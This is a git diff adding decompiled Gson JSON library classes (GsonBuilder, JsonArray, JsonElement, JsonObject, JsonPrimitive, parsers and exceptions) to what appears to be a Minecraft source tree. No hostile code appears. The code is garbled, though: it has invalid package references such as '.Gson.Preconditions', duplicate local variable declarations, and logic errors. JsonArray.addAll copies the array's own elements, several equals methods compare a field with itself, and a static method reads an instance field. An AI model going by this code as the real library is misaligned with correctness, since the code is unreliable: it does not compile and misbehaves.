+    if ((typeAdapter instanceof InstanceCreator)) {
+      instanceCreators.put(type, (InstanceCreator)typeAdapter);
+    }
+    if (((typeAdapter instanceof JsonSerializer)) || ((typeAdapter instanceof JsonDeserializer))) {
+      TypeToken<?> typeToken = TypeToken.get(type);
+      factories.add(TreeTypeAdapter.newFactoryWithMatchRawType(typeToken, typeAdapter));
+    }
+    if ((typeAdapter instanceof TypeAdapter)) {
+      factories.add(TypeAdapters.newFactory(TypeToken.get(type), (TypeAdapter)typeAdapter));
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public GsonBuilder registerTypeAdapterFactory(TypeAdapterFactory factory)
+  {
+    factories.add(factory);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder registerTypeHierarchyAdapter(Class<?> baseType, Object typeAdapter)
+  {
+    .Gson.Preconditions.checkArgument(((typeAdapter instanceof JsonSerializer)) || ((typeAdapter instanceof JsonDeserializer)) || ((typeAdapter instanceof TypeAdapter)));
+    
+
+    if (((typeAdapter instanceof JsonDeserializer)) || ((typeAdapter instanceof JsonSerializer))) {
+      hierarchyFactories.add(0, TreeTypeAdapter.newTypeHierarchyFactory(baseType, typeAdapter));
+    }
+    
+    if ((typeAdapter instanceof TypeAdapter)) {
+      factories.add(TypeAdapters.newTypeHierarchyFactory(baseType, (TypeAdapter)typeAdapter));
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder serializeSpecialFloatingPointValues()
+  {
+    serializeSpecialFloatingPointValues = true;
+    return this;
+  }
+  
+
+
+
+
+
+  public Gson create()
+  {
+    List<TypeAdapterFactory> factories = new ArrayList();
+    factories.addAll(this.factories);
+    Collections.reverse(factories);
+    factories.addAll(hierarchyFactories);
+    addTypeAdaptersForDate(datePattern, dateStyle, timeStyle, factories);
+    
+    return new Gson(excluder, fieldNamingPolicy, instanceCreators, serializeNulls, complexMapKeySerialization, generateNonExecutableJson, escapeHtmlChars, prettyPrinting, serializeSpecialFloatingPointValues, longSerializationPolicy, factories);
+  }
+  
+
+
+  private void addTypeAdaptersForDate(String datePattern, int dateStyle, int timeStyle, List<TypeAdapterFactory> factories)
+  {
+    DefaultDateTypeAdapter dateTypeAdapter;
+    
+    if ((datePattern != null) && (!"".equals(datePattern.trim()))) {
+      dateTypeAdapter = new DefaultDateTypeAdapter(datePattern); } else { DefaultDateTypeAdapter dateTypeAdapter;
+      if ((dateStyle != 2) && (timeStyle != 2))
+        dateTypeAdapter = new DefaultDateTypeAdapter(dateStyle, timeStyle); else {
+        return;
+      }
+    }
+    DefaultDateTypeAdapter dateTypeAdapter;
+    factories.add(TreeTypeAdapter.newFactory(TypeToken.get(java.util.Date.class), dateTypeAdapter));
+    factories.add(TreeTypeAdapter.newFactory(TypeToken.get(Timestamp.class), dateTypeAdapter));
+    factories.add(TreeTypeAdapter.newFactory(TypeToken.get(java.sql.Date.class), dateTypeAdapter));
+  }
+}
diff --git a/src/minecraft/com/google/gson/InstanceCreator.java b/src/minecraft/com/google/gson/InstanceCreator.java
new file mode 100644
index 0000000..1078bcf
--- /dev/null
+++ b/src/minecraft/com/google/gson/InstanceCreator.java
@@ -0,0 +1,8 @@
+package com.google.gson;
+
+import java.lang.reflect.Type;
+
+public abstract interface InstanceCreator<T>
+{
+  public abstract T createInstance(Type paramType);
+}
diff --git a/src/minecraft/com/google/gson/JsonArray.java b/src/minecraft/com/google/gson/JsonArray.java
new file mode 100644
index 0000000..8643734
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonArray.java
@@ -0,0 +1,291 @@
+package com.google.gson;
+
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonArray
+  extends JsonElement
+  implements Iterable<JsonElement>
+{
+  private final List<JsonElement> elements;
+  
+  public JsonArray()
+  {
+    elements = new ArrayList();
+  }
+  
+  JsonArray deepCopy()
+  {
+    JsonArray result = new JsonArray();
+    for (JsonElement element : elements) {
+      result.add(element.deepCopy());
+    }
+    return result;
+  }
+  
+
+
+
+
+  public void add(JsonElement element)
+  {
+    if (element == null) {
+      element = JsonNull.INSTANCE;
+    }
+    elements.add(element);
+  }
+  
+
+
+
+
+  public void addAll(JsonArray array)
+  {
+    elements.addAll(elements);
+  }
+  
+
+
+
+
+  public int size()
+  {
+    return elements.size();
+  }
+  
+
+
+
+
+
+  public Iterator<JsonElement> iterator()
+  {
+    return elements.iterator();
+  }
+  
+
+
+
+
+
+
+
+  public JsonElement get(int i)
+  {
+    return (JsonElement)elements.get(i);
+  }
+  
+
+
+
+
+
+
+
+
+  public Number getAsNumber()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsNumber();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+  public String getAsString()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsString();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+  public double getAsDouble()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsDouble();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BigDecimal getAsBigDecimal()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsBigDecimal();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BigInteger getAsBigInteger()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsBigInteger();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+  public float getAsFloat()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsFloat();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+  public long getAsLong()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsLong();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+  public int getAsInt()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsInt();
+    }
+    throw new IllegalStateException();
+  }
+  
+  public byte getAsByte()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsByte();
+    }
+    throw new IllegalStateException();
+  }
+  
+  public char getAsCharacter()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsCharacter();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+  public short getAsShort()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsShort();
+    }
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean getAsBoolean()
+  {
+    if (elements.size() == 1) {
+      return ((JsonElement)elements.get(0)).getAsBoolean();
+    }
+    throw new IllegalStateException();
+  }
+  
+  public boolean equals(Object o)
+  {
+    return (o == this) || (((o instanceof JsonArray)) && (elements.equals(elements)));
+  }
+  
+  public int hashCode()
+  {
+    return elements.hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonDeserializationContext.java b/src/minecraft/com/google/gson/JsonDeserializationContext.java
new file mode 100644
index 0000000..a804478
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonDeserializationContext.java
@@ -0,0 +1,9 @@
+package com.google.gson;
+
+import java.lang.reflect.Type;
+
+public abstract interface JsonDeserializationContext
+{
+  public abstract <T> T deserialize(JsonElement paramJsonElement, Type paramType)
+    throws JsonParseException;
+}
diff --git a/src/minecraft/com/google/gson/JsonDeserializer.java b/src/minecraft/com/google/gson/JsonDeserializer.java
new file mode 100644
index 0000000..4922b49
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonDeserializer.java
@@ -0,0 +1,9 @@
+package com.google.gson;
+
+import java.lang.reflect.Type;
+
+public abstract interface JsonDeserializer<T>
+{
+  public abstract T deserialize(JsonElement paramJsonElement, Type paramType, JsonDeserializationContext paramJsonDeserializationContext)
+    throws JsonParseException;
+}
diff --git a/src/minecraft/com/google/gson/JsonElement.java b/src/minecraft/com/google/gson/JsonElement.java
new file mode 100644
index 0000000..70cce2d
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonElement.java
@@ -0,0 +1,330 @@
+package com.google.gson;
+
+import com.google.gson.internal.Streams;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.io.StringWriter;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class JsonElement
+{
+  public JsonElement() {}
+  
+  abstract JsonElement deepCopy();
+  
+  public boolean isJsonArray()
+  {
+    return this instanceof JsonArray;
+  }
+  
+
+
+
+
+  public boolean isJsonObject()
+  {
+    return this instanceof JsonObject;
+  }
+  
+
+
+
+
+  public boolean isJsonPrimitive()
+  {
+    return this instanceof JsonPrimitive;
+  }
+  
+
+
+
+
+
+  public boolean isJsonNull()
+  {
+    return this instanceof JsonNull;
+  }
+  
+
+
+
+
+
+
+
+
+  public JsonObject getAsJsonObject()
+  {
+    if (isJsonObject()) {
+      return (JsonObject)this;
+    }
+    throw new IllegalStateException("Not a JSON Object: " + this);
+  }
+  
+
+
+
+
+
+
+
+
+  public JsonArray getAsJsonArray()
+  {
+    if (isJsonArray()) {
+      return (JsonArray)this;
+    }
+    throw new IllegalStateException("This is not a JSON Array.");
+  }
+  
+
+
+
+
+
+
+
+
+  public JsonPrimitive getAsJsonPrimitive()
+  {
+    if (isJsonPrimitive()) {
+      return (JsonPrimitive)this;
+    }
+    throw new IllegalStateException("This is not a JSON Primitive.");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public JsonNull getAsJsonNull()
+  {
+    if (isJsonNull()) {
+      return (JsonNull)this;
+    }
+    throw new IllegalStateException("This is not a JSON Null.");
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean getAsBoolean()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  Boolean getAsBooleanWrapper()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  public Number getAsNumber()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  public String getAsString()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  public double getAsDouble()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  public float getAsFloat()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  public long getAsLong()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  public int getAsInt()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public byte getAsByte()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public char getAsCharacter()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BigDecimal getAsBigDecimal()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BigInteger getAsBigInteger()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+
+
+
+
+
+
+  public short getAsShort()
+  {
+    throw new UnsupportedOperationException(getClass().getSimpleName());
+  }
+  
+
+
+  public String toString()
+  {
+    try
+    {
+      StringWriter stringWriter = new StringWriter();
+      JsonWriter jsonWriter = new JsonWriter(stringWriter);
+      jsonWriter.setLenient(true);
+      Streams.write(this, jsonWriter);
+      return stringWriter.toString();
+    } catch (IOException e) {
+      throw new AssertionError(e);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonIOException.java b/src/minecraft/com/google/gson/JsonIOException.java
new file mode 100644
index 0000000..668417d
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonIOException.java
@@ -0,0 +1,45 @@
+package com.google.gson;
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonIOException
+  extends JsonParseException
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+
+
+
+
+
+
+  public JsonIOException(String msg)
+  {
+    super(msg);
+  }
+  
+  public JsonIOException(String msg, Throwable cause) {
+    super(msg, cause);
+  }
+  
+
+
+
+
+
+  public JsonIOException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonNull.java b/src/minecraft/com/google/gson/JsonNull.java
new file mode 100644
index 0000000..bd4bc07
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonNull.java
@@ -0,0 +1,63 @@
+package com.google.gson;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonNull
+  extends JsonElement
+{
+  public static final JsonNull INSTANCE = new JsonNull();
+  
+
+
+
+  @Deprecated
+  public JsonNull() {}
+  
+
+
+
+  JsonNull deepCopy()
+  {
+    return INSTANCE;
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    return JsonNull.class.hashCode();
+  }
+  
+
+
+
+  public boolean equals(Object other)
+  {
+    return (this == other) || ((other instanceof JsonNull));
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonObject.java b/src/minecraft/com/google/gson/JsonObject.java
new file mode 100644
index 0000000..7873482
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonObject.java
@@ -0,0 +1,195 @@
+package com.google.gson;
+
+import com.google.gson.internal.LinkedTreeMap;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonObject
+  extends JsonElement
+{
+  private final LinkedTreeMap<String, JsonElement> members = new LinkedTreeMap();
+  
+  public JsonObject() {}
+  
+  JsonObject deepCopy() {
+    JsonObject result = new JsonObject();
+    for (Map.Entry<String, JsonElement> entry : members.entrySet()) {
+      result.add((String)entry.getKey(), ((JsonElement)entry.getValue()).deepCopy());
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public void add(String property, JsonElement value)
+  {
+    if (value == null) {
+      value = JsonNull.INSTANCE;
+    }
+    members.put(property, value);
+  }
+  
+
+
+
+
+
+
+  public JsonElement remove(String property)
+  {
+    return (JsonElement)members.remove(property);
+  }
+  
+
+
+
+
+
+
+  public void addProperty(String property, String value)
+  {
+    add(property, createJsonElement(value));
+  }
+  
+
+
+
+
+
+
+  public void addProperty(String property, Number value)
+  {
+    add(property, createJsonElement(value));
+  }
+  
+
+
+
+
+
+
+  public void addProperty(String property, Boolean value)
+  {
+    add(property, createJsonElement(value));
+  }
+  
+
+
+
+
+
+
+  public void addProperty(String property, Character value)
+  {
+    add(property, createJsonElement(value));
+  }
+  
+
+
+
+
+
+  private JsonElement createJsonElement(Object value)
+  {
+    return value == null ? JsonNull.INSTANCE : new JsonPrimitive(value);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<String, JsonElement>> entrySet()
+  {
+    return members.entrySet();
+  }
+  
+
+
+
+
+
+  public boolean has(String memberName)
+  {
+    return members.containsKey(memberName);
+  }
+  
+
+
+
+
+
+  public JsonElement get(String memberName)
+  {
+    return (JsonElement)members.get(memberName);
+  }
+  
+
+
+
+
+
+  public JsonPrimitive getAsJsonPrimitive(String memberName)
+  {
+    return (JsonPrimitive)members.get(memberName);
+  }
+  
+
+
+
+
+
+  public JsonArray getAsJsonArray(String memberName)
+  {
+    return (JsonArray)members.get(memberName);
+  }
+  
+
+
+
+
+
+  public JsonObject getAsJsonObject(String memberName)
+  {
+    return (JsonObject)members.get(memberName);
+  }
+  
+  public boolean equals(Object o)
+  {
+    return (o == this) || (((o instanceof JsonObject)) && (members.equals(members)));
+  }
+  
+
+  public int hashCode()
+  {
+    return members.hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonParseException.java b/src/minecraft/com/google/gson/JsonParseException.java
new file mode 100644
index 0000000..452786d
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonParseException.java
@@ -0,0 +1,64 @@
+package com.google.gson;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JsonParseException
+  extends RuntimeException
+{
+  static final long serialVersionUID = -4086729973971783390L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JsonParseException(String msg)
+  {
+    super(msg);
+  }
+  
+
+
+
+
+
+  public JsonParseException(String msg, Throwable cause)
+  {
+    super(msg, cause);
+  }
+  
+
+
+
+
+
+  public JsonParseException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonParser.java b/src/minecraft/com/google/gson/JsonParser.java
new file mode 100644
index 0000000..65f3d41
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonParser.java
@@ -0,0 +1,93 @@
+package com.google.gson;
+
+import com.google.gson.internal.Streams;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.MalformedJsonException;
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonParser
+{
+  public JsonParser() {}
+  
+  public JsonElement parse(String json)
+    throws JsonSyntaxException
+  {
+    return parse(new StringReader(json));
+  }
+  
+
+
+
+
+
+  public JsonElement parse(Reader json)
+    throws JsonIOException, JsonSyntaxException
+  {
+    try
+    {
+      JsonReader jsonReader = new JsonReader(json);
+      JsonElement element = parse(jsonReader);
+      if ((!element.isJsonNull()) && (jsonReader.peek() != JsonToken.END_DOCUMENT)) {
+        throw new JsonSyntaxException("Did not consume the entire document.");
+      }
+      return element;
+    } catch (MalformedJsonException e) {
+      throw new JsonSyntaxException(e);
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    } catch (NumberFormatException e) {
+      throw new JsonSyntaxException(e);
+    }
+  }
+  
+
+
+
+
+
+  public JsonElement parse(JsonReader json)
+    throws JsonIOException, JsonSyntaxException
+  {
+    boolean lenient = json.isLenient();
+    json.setLenient(true);
+    try {
+      return Streams.parse(json);
+    } catch (StackOverflowError e) {
+      throw new JsonParseException("Failed parsing JSON source: " + json + " to Json", e);
+    } catch (OutOfMemoryError e) {
+      throw new JsonParseException("Failed parsing JSON source: " + json + " to Json", e);
+    } finally {
+      json.setLenient(lenient);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonPrimitive.java b/src/minecraft/com/google/gson/JsonPrimitive.java
new file mode 100644
index 0000000..b831045
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonPrimitive.java
@@ -0,0 +1,341 @@
+package com.google.gson;
+
+import com.google.gson.internal..Gson.Preconditions;
+import com.google.gson.internal.LazilyParsedNumber;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonPrimitive
+  extends JsonElement
+{
+  private static final Class<?>[] PRIMITIVE_TYPES = { Integer.TYPE, Long.TYPE, Short.TYPE, Float.TYPE, Double.TYPE, Byte.TYPE, Boolean.TYPE, Character.TYPE, Integer.class, Long.class, Short.class, Float.class, Double.class, Byte.class, Boolean.class, Character.class };
+  
+
+
+
+  private Object value;
+  
+
+
+
+  public JsonPrimitive(Boolean bool)
+  {
+    setValue(bool);
+  }
+  
+
+
+
+
+  public JsonPrimitive(Number number)
+  {
+    setValue(number);
+  }
+  
+
+
+
+
+  public JsonPrimitive(String string)
+  {
+    setValue(string);
+  }
+  
+
+
+
+
+
+  public JsonPrimitive(Character c)
+  {
+    setValue(c);
+  }
+  
+
+
+
+
+
+  JsonPrimitive(Object primitive)
+  {
+    setValue(primitive);
+  }
+  
+  JsonPrimitive deepCopy()
+  {
+    return this;
+  }
+  
+  void setValue(Object primitive) {
+    if ((primitive instanceof Character))
+    {
+
+      char c = ((Character)primitive).charValue();
+      value = String.valueOf(c);
+    } else {
+      .Gson.Preconditions.checkArgument(((primitive instanceof Number)) || (isPrimitiveOrString(primitive)));
+      
+      value = primitive;
+    }
+  }
+  
+
+
+
+
+  public boolean isBoolean()
+  {
+    return value instanceof Boolean;
+  }
+  
+
+
+
+
+
+  Boolean getAsBooleanWrapper()
+  {
+    return (Boolean)value;
+  }
+  
+
+
+
+
+
+  public boolean getAsBoolean()
+  {
+    if (isBoolean()) {
+      return getAsBooleanWrapper().booleanValue();
+    }
+    
+    return Boolean.parseBoolean(getAsString());
+  }
+  
+
+
+
+
+
+  public boolean isNumber()
+  {
+    return value instanceof Number;
+  }
+  
+
+
+
+
+
+
+  public Number getAsNumber()
+  {
+    return (value instanceof String) ? new LazilyParsedNumber((String)value) : (Number)value;
+  }
+  
+
+
+
+
+  public boolean isString()
+  {
+    return value instanceof String;
+  }
+  
+
+
+
+
+
+  public String getAsString()
+  {
+    if (isNumber())
+      return getAsNumber().toString();
+    if (isBoolean()) {
+      return getAsBooleanWrapper().toString();
+    }
+    return (String)value;
+  }
+  
+
+
+
+
+
+
+
+  public double getAsDouble()
+  {
+    return isNumber() ? getAsNumber().doubleValue() : Double.parseDouble(getAsString());
+  }
+  
+
+
+
+
+
+
+  public BigDecimal getAsBigDecimal()
+  {
+    return (value instanceof BigDecimal) ? (BigDecimal)value : new BigDecimal(value.toString());
+  }
+  
+
+
+
+
+
+
+  public BigInteger getAsBigInteger()
+  {
+    return (value instanceof BigInteger) ? (BigInteger)value : new BigInteger(value.toString());
+  }
+  
+
+
+
+
+
+
+
+  public float getAsFloat()
+  {
+    return isNumber() ? getAsNumber().floatValue() : Float.parseFloat(getAsString());
+  }
+  
+
+
+
+
+
+
+  public long getAsLong()
+  {
+    return isNumber() ? getAsNumber().longValue() : Long.parseLong(getAsString());
+  }
+  
+
+
+
+
+
+
+  public short getAsShort()
+  {
+    return isNumber() ? getAsNumber().shortValue() : Short.parseShort(getAsString());
+  }
+  
+
+
+
+
+
+
+  public int getAsInt()
+  {
+    return isNumber() ? getAsNumber().intValue() : Integer.parseInt(getAsString());
+  }
+  
+  public byte getAsByte()
+  {
+    return isNumber() ? getAsNumber().byteValue() : Byte.parseByte(getAsString());
+  }
+  
+  public char getAsCharacter()
+  {
+    return getAsString().charAt(0);
+  }
+  
+  private static boolean isPrimitiveOrString(Object target) {
+    if ((target instanceof String)) {
+      return true;
+    }
+    
+    Class<?> classOfPrimitive = target.getClass();
+    for (Class<?> standardPrimitive : PRIMITIVE_TYPES) {
+      if (standardPrimitive.isAssignableFrom(classOfPrimitive)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    if (this.value == null) {
+      return 31;
+    }
+    
+    if (isIntegral(this)) {
+      long value = getAsNumber().longValue();
+      return (int)(value ^ value >>> 32);
+    }
+    if ((this.value instanceof Number)) {
+      long value = Double.doubleToLongBits(getAsNumber().doubleValue());
+      return (int)(value ^ value >>> 32);
+    }
+    return this.value.hashCode();
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if ((obj == null) || (getClass() != obj.getClass())) {
+      return false;
+    }
+    JsonPrimitive other = (JsonPrimitive)obj;
+    if (value == null) {
+      return value == null;
+    }
+    if ((isIntegral(this)) && (isIntegral(other))) {
+      return getAsNumber().longValue() == other.getAsNumber().longValue();
+    }
+    if (((value instanceof Number)) && ((value instanceof Number))) {
+      double a = getAsNumber().doubleValue();
+      
+
+      double b = other.getAsNumber().doubleValue();
+      return (a == b) || ((Double.isNaN(a)) && (Double.isNaN(b)));
+    }
+    return value.equals(value);
+  }
+  
+
+
+
+  private static boolean isIntegral(JsonPrimitive primitive)
+  {
+    if ((value instanceof Number)) {
+      Number number = (Number)value;
+      return ((number instanceof BigInteger)) || ((number instanceof Long)) || ((number instanceof Integer)) || ((number instanceof Short)) || ((number instanceof Byte));
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonSerializationContext.java b/src/minecraft/com/google/gson/JsonSerializationContext.java
new file mode 100644
index 0000000..3a8cc3d
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonSerializationContext.java
@@ -0,0 +1,10 @@
+package com.google.gson;
+
+import java.lang.reflect.Type;
+
+public abstract interface JsonSerializationContext
+{
+  public abstract JsonElement serialize(Object paramObject);
+  
+  public abstract JsonElement serialize(Object paramObject, Type paramType);
+}
diff --git a/src/minecraft/com/google/gson/JsonSerializer.java b/src/minecraft/com/google/gson/JsonSerializer.java
new file mode 100644
index 0000000..b5d531f
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonSerializer.java
@@ -0,0 +1,8 @@
+package com.google.gson;
+
+import java.lang.reflect.Type;
+
+public abstract interface JsonSerializer<T>
+{
+  public abstract JsonElement serialize(T paramT, Type paramType, JsonSerializationContext paramJsonSerializationContext);
+}
diff --git a/src/minecraft/com/google/gson/JsonStreamParser.java b/src/minecraft/com/google/gson/JsonStreamParser.java
new file mode 100644
index 0000000..0161fa5
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonStreamParser.java
@@ -0,0 +1,122 @@
+package com.google.gson;
+
+import com.google.gson.internal.Streams;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.MalformedJsonException;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonStreamParser
+  implements Iterator<JsonElement>
+{
+  private final JsonReader parser;
+  private final Object lock;
+  
+  public JsonStreamParser(String json)
+  {
+    this(new StringReader(json));
+  }
+  
+
+
+
+  public JsonStreamParser(Reader reader)
+  {
+    parser = new JsonReader(reader);
+    parser.setLenient(true);
+    lock = new Object();
+  }
+  
+
+
+
+
+
+  public JsonElement next()
+    throws JsonParseException
+  {
+    if (!hasNext()) {
+      throw new NoSuchElementException();
+    }
+    try
+    {
+      return Streams.parse(parser);
+    } catch (StackOverflowError e) {
+      throw new JsonParseException("Failed parsing JSON source to Json", e);
+    } catch (OutOfMemoryError e) {
+      throw new JsonParseException("Failed parsing JSON source to Json", e);
+    } catch (JsonParseException e) {
+      throw ((e.getCause() instanceof EOFException) ? new NoSuchElementException() : e);
+    }
+  }
+  
+
+
+
+
+  public boolean hasNext()
+  {
+    synchronized (lock) {
+      try {
+        return parser.peek() != JsonToken.END_DOCUMENT;
+      } catch (MalformedJsonException e) {
+        throw new JsonSyntaxException(e);
+      } catch (IOException e) {
+        throw new JsonIOException(e);
+      }
+    }
+  }
+  
+
+
+
+
+  public void remove()
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/gson/JsonSyntaxException.java b/src/minecraft/com/google/gson/JsonSyntaxException.java
new file mode 100644
index 0000000..e10bc66
--- /dev/null
+++ b/src/minecraft/com/google/gson/JsonSyntaxException.java
@@ -0,0 +1,47 @@
+package com.google.gson;
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonSyntaxException
+  extends JsonParseException
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+
+
+
+
+
+
+
+  public JsonSyntaxException(String msg)
+  {
+    super(msg);
+  }
+  
+  public JsonSyntaxException(String msg, Throwable cause) {
+    super(msg, cause);
+  }
+  
+
+
+
+
+
+
+  public JsonSyntaxException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/google/gson/LongSerializationPolicy.java b/src/minecraft/com/google/gson/LongSerializationPolicy.java
new file mode 100644
index 0000000..fc6c36b
--- /dev/null
+++ b/src/minecraft/com/google/gson/LongSerializationPolicy.java
@@ -0,0 +1,10 @@
+package com.google.gson;
+
+public enum LongSerializationPolicy
+{
+  DEFAULT,  STRING;
+  
+  private LongSerializationPolicy() {}
+  
+  public abstract JsonElement serialize(Long paramLong);
+}
diff --git a/src/minecraft/com/google/gson/TreeTypeAdapter.java b/src/minecraft/com/google/gson/TreeTypeAdapter.java
new file mode 100644
index 0000000..5fe3565
--- /dev/null
+++ b/src/minecraft/com/google/gson/TreeTypeAdapter.java
@@ -0,0 +1,137 @@
+package com.google.gson;
+
+import com.google.gson.internal..Gson.Preconditions;
+import com.google.gson.internal.Streams;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class TreeTypeAdapter<T>
+  extends TypeAdapter<T>
+{
+  private final JsonSerializer<T> serializer;
+  private final JsonDeserializer<T> deserializer;
+  private final Gson gson;
+  private final TypeToken<T> typeToken;
+  private final TypeAdapterFactory skipPast;
+  private TypeAdapter<T> delegate;
+  
+  private TreeTypeAdapter(JsonSerializer<T> serializer, JsonDeserializer<T> deserializer, Gson gson, TypeToken<T> typeToken, TypeAdapterFactory skipPast)
+  {
+    this.serializer = serializer;
+    this.deserializer = deserializer;
+    this.gson = gson;
+    this.typeToken = typeToken;
+    this.skipPast = skipPast;
+  }
+  
+  public T read(JsonReader in) throws IOException {
